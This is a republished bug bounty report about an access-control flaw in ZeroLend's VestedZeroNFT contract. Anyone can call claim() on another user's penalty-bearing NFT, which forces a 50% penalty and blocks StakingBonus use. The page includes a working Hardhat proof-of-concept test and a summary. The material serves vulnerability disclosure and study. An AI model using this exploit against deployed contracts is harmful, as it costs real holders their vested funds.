Griefing attack for VestedZeroNFT
The VestedZeroNFT contract allows anyone to call claim() on behalf of an NFT owner. An attacker can trigger claim() on an NFT minted with penalty=true, causing the owner to pay a 50% penalty and lose the ability to use the StakingBonus contract.
Originally disclosed on Immunefi
- Disclosed after under an hour
29123 - [SC - Medium] Griefing attack for VestedZeroNFT
Submitted on Mar 7th 2024 at 19:12:50 UTC by @DuckAstronomer for Boost | ZeroLend
Report ID: #29123
Report type: Smart Contract
Report severity: Medium
Target: https://github.com/zerolend/governance
Impacts:
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
- Permanent freezing of funds
Description
Vulnerability Details
It is possible for anyone to call the claim() function of the VestedZeroNFT contract on behalf of the NFT owner. This poses an issue especially when an NFT is minted with penalty=true. In such cases, the NFT owner ends up paying a penalty (currently 50%) and loses the ability to utilize the StakingBonus contract.
This situation sets the stage for a Griefing attack scenario where an attacker can trigger claim() for NFTs with penalty=true. Consequently, the owners bear penalties and forfeit the opportunity to receive bonuses through the StakingBonus mechanism.
References
- https://github.com/zerolend/governance/blob/main/contracts/vesting/VestedZeroNFT.sol#L159
- https://github.com/zerolend/governance/blob/main/contracts/vesting/VestedZeroNFT.sol#L211
- https://github.com/zerolend/governance/blob/main/contracts/vesting/StakingBonus.sol#L74
- https://github.com/zerolend/governance/blob/main/contracts/locker/BaseLocker.sol#L333
Proof of Concept
To run the Poc put it's code to the governance-main/test/Gauge.poc.ts file, generate a random private key, and issue the following command:
WALLET_PRIVATE_KEY=0x... NODE_ENV=test npx hardhat test test/Gauge.poc.ts --config hardhat.config.ts --network hardhat
PoC scenario:
- The deployer generates
VestedZeroNFTwithpenalty=trueto the Whale. - The Ant (attacker) quickly invokes
claim()for the Whale's Nft. - As a result
50%penalty is paid and nowunclaimed()returns0for the Nft. - The Whale wants to transfer Nft to the
StakingBonuscontract, but their tx reverts sinceunclaimed()returns0.
import { expect } from "chai";
import { deployGovernance } from "./fixtures/governance";
import { loadFixture } from "@nomicfoundation/hardhat-network-helpers";
import { SignerWithAddress } from "@nomicfoundation/hardhat-ethers/signers";
import {
LockerToken,
OmnichainStaking,
StakingBonus,
VestedZeroNFT,
ZeroLend,
} from "../typechain-types";
import { e18 } from "./fixtures/utils";
describe("Immunefi Boost", () => {
let ant: SignerWithAddress;
let whale: SignerWithAddress;
let vest: VestedZeroNFT;
let now: number;
let stakingBonus: StakingBonus;
let zero: ZeroLend;
let locker: LockerToken;
let omniStaking: OmnichainStaking;
beforeEach(async () => {
const deployment = await loadFixture(deployGovernance);
ant = deployment.ant;
zero = deployment.zero;
vest = deployment.vestedZeroNFT;
stakingBonus = deployment.stakingBonus;
locker = deployment.lockerToken;
omniStaking = deployment.omnichainStaking;
now = Math.floor(Date.now() / 1000);
whale = deployment.whale;
});
// Run as: WALLET_PRIVATE_KEY=0x... NODE_ENV=test npx hardhat test test/Griefing.poc.ts --config hardhat.config.ts --network hardhat
describe("Griefing", () => {
it("Ant attacks Whale", async () => {
expect(await vest.lastTokenId()).to.equal(0);
// deployer should be able to mint a nft for Whale
// with penalty = True
await vest.mint(
whale.address,
e18 * 20n, // 20 ZERO linear vesting
0, // 0 ZERO upfront
1000, // linear duration - 1000 seconds
0, // cliff duration - 0 seconds
now + 1000, // unlock date
true, // penalty!!
0
);
expect(await vest.lastTokenId()).to.equal(1);
// Ant calls claim() for minted Nft with penalty
// Nft is minted for Whale
await vest.connect(ant).claim(1);
// Whale transfers Nft to StakingBonus contract
// But it reverts
await expect(
vest
.connect(whale)
["safeTransferFrom(address,address,uint256)"](
whale.address,
stakingBonus.target,
1
)
).to.be.reverted;
});
});
});
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker can force NFT owners to pay a 50% penalty and lose access to StakingBonus, causing griefing and permanent freezing of funds.
What the attacker needed
NFT minted with penalty=true; attacker can call claim()
How it was found
- Deployer mints a VestedZeroNFT with penalty=true for the Whale.
- Attacker calls claim() on the Whale's NFT.
- The NFT owner pays a 50% penalty and unclaimed() returns 0.
- The Whale tries to transfer the NFT to the StakingBonus contract, but the transaction reverts.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An NFT represents a vesting position that can be claimed early, but doing so incurs a penalty. The claim function does not check who is calling it, so anyone can trigger the claim for someone else's NFT. This forces the owner to pay the penalty and prevents them from using a bonus feature.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.